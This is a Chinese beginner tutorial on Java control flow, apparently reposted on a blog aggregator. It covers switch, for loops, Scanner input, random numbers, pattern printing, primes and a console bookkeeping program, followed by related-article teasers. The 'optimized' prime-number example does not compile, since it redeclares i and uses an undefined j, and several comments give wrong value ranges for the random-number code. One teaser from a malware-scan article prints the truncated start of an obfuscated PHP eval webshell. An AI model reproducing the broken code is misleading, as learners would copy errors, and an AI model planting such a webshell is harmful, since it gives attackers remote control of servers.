java开发入门学习五-流程控制

news2024/12/24 3:49:05

流程控制语句

if, if...else,  if..else if..else 

与前端相同 略

switch case

与前端不同的是case不能使用表达式,使用表达式会报错

class TestSwitch {
    public static void main(String[] args) {
       // switch 表达式只能是特定的数据类型: byte short char int 枚举(JDK5.0新增) String(JDK8.0新增)
       // case 后跟的场景,使用表达式与这些常量做相等的判断,不行
       // break 与前端相同,break不写会执行所有语句

       int number = 10;
       switch(number) {
            case 10: 
                System.out.println("10");
                break;
            default: 
                System.out.println("default");
                break;
       }

       char c1 = '你';
       switch(c1) {
            case '你': 
                System.out.println("你");
                break;
            case '我': 
                System.out.println("我");
                break;
            default: 
                System.out.println("default");
                break;
       }

       switch(number) {
            case number > 10:  // 错误
                System.out.println("大于10");
                break;
            default: 
                System.out.println("default");
                break;
       }

    }
}

if和switch的对比 

if: 条件是一个布尔类型的值,if表达式可以用于范围判断,也可以用于等值判断,范围更广

switch语句条件是一个常量,使用范围更狭窄,但switch更具有穿透性

for,while, do while

与前端的语法都是一致的,break跳出当个for循环;continue跳出当次循环

class TestFor {
    public static void main(String[] args) {
        int sum = 0, count = 0;
        for(int i = 1; i <= 100; i++) {
            if(i % 2 == 0) {
                sum += i;
                count += 1;
            }
        }

        System.out.println("输入出"+ count + "输出" + sum);
    }
}

相关测试案例

键盘输入功能case

// 引入包
import java.util.Scanner;
public class TestCase {
    public static void main(String[] args)  {
       Scanner scanner = new Scanner(System.in);

       System.out.println("请输入姓名:");
       String name = scanner.next();

        System.out.println("请输入性别:男\\女");
        // 获取字符串第一个字段
        String gender = scanner.next();

        System.out.println("请输入年龄");
        // 获取字符串第一个字段
        int age = scanner.nextInt();

        System.out.println("请输入体重:");
        double weight = scanner.nextDouble();

        System.out.println("请输入是否单身:单身true;不单身 false");
        boolean isSingle = scanner.nextBoolean();

        // == 用于比较两个变量是否引用同一个对象(内存存储地址)
        if(gender == "男") {
            System.out.println("男");
        }
        // 比较字符串值是否相等
        if(gender.equals("男")) {
            System.out.println("男1");
        }

             
    }
}

随机数

class RandomNum {
    public static void main(String[] args) {
        // 会返回[0.0,1.0)范围的double类型的随机数
        double d1 = Math.random();

        // 获取[0, 100]范围的随机整数
        int i1 = (int)(Math.random() * 101); // [0, 100)

        // 获取一个[1,100]范围的随机整数
        int i2 = ((int)(Math.random() * 100)) + 1; // [0, 100)

        // 获取一个[a,b] 范围的随机整数
        // (int)(Math.random() * (b-a+1)) + a

    }
}

输出*


class TestFor1 {
    public static void main(String[] args) {
       int maxStar = 5;
       for(int i = 1; i <= 3; i++) {
            String str = "";
            // *的个数
            int num = (i * 2) - 1;
            // 空格数
            int space = (maxStar - num) / 2;

            for(int j = 1; j <= maxStar; j++)  {
                if(j <= space || j > space + num) {
                     str += "-";
                }
                if(j > space && j <= space + num) {
                    str += "*";
                }
            }
            System.out.println(str);
       }
    }
}

输出99乘法表

class Testfor2 {
     public static void main(String[] args) {
      for(int i = 1; i <= 9; i++) {
        String expression = "";
        for(int j = 1; j <= i; j++) {
             expression +=  i + "*" + j + "=" + (i * j) + "\t";

        }
        System.out.println(expression);
      }
    }
}

找出100内所有质数

class Testfor3 {
     public static void main(String[] args) {
        int count = 0;
        for(int i = 2; i <= 100; i++) {
            boolean isNum = false;
            for(int j = 2; j < i; j++) {
                if(i%j == 0) {
                    isNum = true;
                    break;
                }
            }

            if(!isNum) {
                count += 1;
                System.out.println(i);
            }
        }
       
        System.out.println("总数:" + count);
    }
}

优化算法 

class Testfor4 {
     public static void main(String[] args) {
        int count = 0;
        for(int i = 2; i <= 100; i++) {
            boolean isNum = false;
             // 小于i的平方根内计算,优化算法
            for (int i = 2; i <= Math.sqrt(i); i++) {
                if (i % j == 0) {
                    isNum = true;
                }
            }

            if(!isNum) {
                count += 1;
                System.out.println(i);
            }
        }
       
        System.out.println("总数:" + count);
    }
}

记账本

通过键盘输入输出,写一个简单的记账本

public class AccountSoft {
    public static void main(String[] args) {
       boolean isFlag = true;

       int initMoney = 1000;

       String info = "";

       while(isFlag) {
            System.out.println("----记账软件----");
            System.out.println("1 收支明细");
            System.out.println("2 登记收入");
            System.out.println("3 登记支出");
            System.out.println("4 退出");
            System.out.println("请选择(1-4):");

            char select = Utility.readMenuSelection();

            switch(select) {
                case '1':
                    System.out.println("----收支明细---");
                    System.out.println("余额\t收支\t收支说明");
                    System.out.println(info);
                    break;
                case '2':
                   System.out.println("----登记收入----");
					int money1 = Utility.readNumber();
					
					if(money1 > 0){
						initMoney += money1;
					}

					System.out.println("请输入说明");
					String addDesc = Utility.readString();

					info += initMoney + "\t" + money1 + "\t" + addDesc + "\n";
                    break;
                case '3':
                    System.out.println("----登记支出----");
					int money2 = Utility.readNumber();
					
					if(money2 > 0 && initMoney >= money2){
						initMoney -= money2;
					}

					System.out.println("请输入说明");
					String minusDesc = Utility.readString();

					info +=  initMoney + "\t" + money2 + "\t" + minusDesc + "\n";

                    break;
                default: 
                    System.out.println("请确认是否退出(Y/N)");
                    char isExit = Utility.readConfirmSelection();
                    if(isExit == 'Y') {
                        isFlag = false;
                    }
                    break;
            }
       }
       
       
    }
}

Utility 

import java.util.Scanner;

public class Utility {
    public static Scanner scanner = new Scanner(System.in);

    // char为返回格式
    public static char readMenuSelection() {
        char c;
        for(;;) {
            String str = readKeyBoard(1);
            c = str.charAt(0);
            if(c != '1' && c != '2' && c!='3' && c != '4') {
                System.out.print("选择错误请重新输入:");
            }else {
                break;
            }
        }
        return c;
    }

    public static int readNumber() {
        int n;
        for (; ; ) {
            String str = readKeyBoard(4);
            try {
                n = Integer.parseInt(str);
                break;
            } catch (NumberFormatException e) {
                System.out.print("请输入数值");
            }
        }
        return n;
    }

    public static char readConfirmSelection() {
        char c;
        for (; ; ) {
            String str = readKeyBoard(1).toUpperCase();
            c = str.charAt(0);
            if (c == 'Y' || c == 'N') {
                break;
            } else {
                System.out.print("请输入正确选项");
            }
        }
        return c;
    }

    public static String readString() {
        String str = readKeyBoard(8);
        return str;
    }

    public static String readKeyBoard(int limit) {
        String line = "";
        while(scanner.hasNext()) {
            line = scanner.nextLine();
            if(line.length() < 1 || line.length () > limit) {
                System.out.print("输出超过限制");
                continue;
            }
            break;
        }
        return line;
    }

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264514.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

tslib(触摸屏输入设备的轻量级库)的学习、编译及测试记录

目录 tslib的简介tslib的源码和make及make install后得到的文件下载tslib的主要功能tslib的工作原理tslib的核心组成部分tslib的框架和核心函数分析tslib的框架tslib的核心函数ts_setup()的分析(对如何获取设备名和数据处理流程的分析)函数ts_setup()自身的主要代码ts_setup()对…

深度学习实战车辆目标跟踪【bytetrack/deepsort】

本文采用YOLOv8作为核心算法框架&#xff0c;结合PyQt5构建用户界面&#xff0c;使用Python3进行开发。YOLOv8以其高效的实时检测能力&#xff0c;在多个目标检测任务中展现出卓越性能。本研究针对车辆目标数据集进行训练和优化&#xff0c;该数据集包含丰富的车辆目标图像样本…

unipp中使用阿里图标,以及闭坑指南

-----------------------------------------------------点赞收藏才是更新的动力------------------------------------------------- unipp中使用阿里图标 官网下载图标在项目中引入使用注意事项 官网下载图标 进入阿里图标网站 将需要下载的图标添加到购物车中 2. 直接下载…

《Vue3实战教程》5:响应式基础

如果您有疑问&#xff0c;请观看视频教程《Vue3实战教程》 响应式基础​ API 参考 本页和后面很多页面中都分别包含了选项式 API 和组合式 API 的示例代码。现在你选择的是 组合式 API。你可以使用左侧侧边栏顶部的“API 风格偏好”开关在 API 风格之间切换。 声明响应式状态…

【ue5学习笔记2】在场景放入一个物体的蓝图输入事件无效?

在场景放入一个物体的蓝图输入事件无效&#xff0c;那是因为你不知道gameMode这个东西这是一个用于设定游戏股则的东西&#xff0c; 就好比你的控制对象&#xff0c;你输入无效是没有指定你当前关卡中指定的控制对象是它。操作方法如下&#xff1a; 1.创建一个gameMode蓝图类并…

OnlineMusic项目测试报告

OnlineMusic项目测试报告 一、项目背景1.1 测试目标及测试任务的概括1.2 被测的系统&#xff0c;代码以及文档等信息 二、测试安排2.1 测试用例设计2.2 测试方案设计 三、测试分类3.1 测试方案3.1.1 功能测试3.1.2 自动化测试3.1.3 性能测试 3.2测试结果性能测试报告 一、项目背…

Webpack学习笔记(1)

1.为什么使用webpack? webpack不仅可以打包js代码&#xff0c;并且那个且支持es模块化和commonjs,支持其他静态资源打包&#xff0c;如图片、字体。。。 2.如何解决作用域问题&#xff1f; 作用域问题&#xff1a;例如loadsh等库&#xff0c;会绑定window对象&#xff0c;会…

信息安全管理与评估赛题第9套

全国职业院校技能大赛 高等职业教育组 信息安全管理与评估 赛题九 模块一 网络平台搭建与设备安全防护 1 赛项时间 共计180分钟。 2 赛项信息 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第一阶段 网络平台搭建与设备安全防护 任务1 网络平台搭建 XX:XX- XX:XX 50 任务2…

thinkphp5验证码captcha无法显示

排查思路 是否开启gd2以及gd2排查bom排查代码清除缓存 开启gd/gd2 找到php.ini 开启dg2库 去掉前面的;注释&#xff0c;有的可能会带.dll后缀影响不大 然后通过生成图片验证是否成功 查看是否存在bom 修改为utf-8即可&#xff0c;如果你的代码携带bom也需要排查一下 代码问…

90度Floating B to B 高速连接器信号完整性仿真

在180度 B to B Connector 信号完整性仿真时&#xff0c;不会碰到端口设置不方便问题&#xff0c;但在做90度B to B Connector信号完整性仿真时就会碰到端口设置问题。如下面的90度B to B Connector。 公座 母座 公母对插后如下&#xff1a; 客户要求改Connector需符合PCI-E3.…

ffmpeg翻页转场动效的安装及使用

文章目录 前言一、背景二、选型分析2.1 ffmpeg自带的xfade滤镜2.2 ffmpeg使用GL Transition库2.3 xfade-easing项目三、安装3.1、安装依赖([参考](https://trac.ffmpeg.org/wiki/CompilationGuide/macOS#InstallingdependencieswithHomebrew))3.2、获取ffmpeg源码3.3、融合xf…

用人话讲计算机:Python篇!(十五)迭代器、生成器、装饰器

一、迭代器 &#xff08;1&#xff09;定义 标准解释&#xff1a;迭代器是 Python 中实现了迭代协议的对象&#xff0c;即提供__iter__()和 __next__()方法&#xff0c;任何实现了这两个方法的对象都可以被称为迭代器。 所谓__iter__()&#xff0c;即返回迭代器自身 所谓__…

【计算机视觉基础CV-图像分类】02-入门详解图像分类、经典数据集、比赛与冠军图像模型演进史

前言 图像分类&#xff08;Image Classification&#xff09;是计算机视觉&#xff08;Computer Vision&#xff09;中一项基础且核心的任务。简单来说&#xff0c;就是让计算机从给定的类别集合中&#xff0c;为一张输入图片分配一个正确的类别标签。这个过程听起来直观&…

Docker_常用命令详解

这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说&#xff1a;Docker通过提供轻量级、隔离且可移植的容器化环境&#xff0c;使得应用在不同平台上保持一致性、易于部署和管理&#xff0c;具体如下 环境一致性&#xff1a; Docker容器使得…

CFA知识点梳理系列:CFA Level II, Reading 4 Big Data Projects

这是CFA知识点梳理系列的第四篇文章&#xff0c;前面的文章可以参考以下链接: CFA知识点梳理系列&#xff1a;CFA Level II, Reading 3 Machine Learning

自制数据库迁移工具-C版-06-HappySunshineV1.5-(支持南大Gbase8a、PostgreSQL、达梦DM)

目录 一、环境信息 二、简述 三、架构图 四、升级点 五、支持功能 六、后续计划支持功能 七、安装包下载地址 八、配置参数介绍 九、安装步骤 1、用户创建 2、安装包解压 3、环境变量配置 4、环境变量生效 5、动态库链接检验 &#xff08;1&#xff09;HsManage…

petalinux-adi ---移植adi内核(一)

1. 设备树生成 将 前 面 生 成 的 设 备 树 文 件 ( 笔 者 这 里 生 成 的 设 备 树 文 件 在Petalinux 工 程 的components/plnx_workspace/device-tree/device-tree/ 目 录 下 ) pcw.dtsi 、 pl.dtsi 、system-top.dts 以 及 zynq-7000.dtsi 四 个 文 件 直 接 拷 贝 到 内 …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

Tool之Excalidraw:Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略

Tool之Excalidraw&#xff1a;Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略 目录 Excalidraw 简介 1、Excalidraw 的主要特点&#xff1a; Excalidraw 安装和使用方法 1、Excalidraw的安装 T1、使用 npm 安装&#xff1a; T2、使用 …

LLMs之rStar:《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读

LLMs之rStar&#xff1a;《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读 导读&#xff1a;这篇论文提出了一种名为rStar的自我博弈互推理方法&#xff0c;用于增强小型语言模型 (SLMs) 的推理能力&#xff0c;无需微调或依赖更强大的模型。rStar…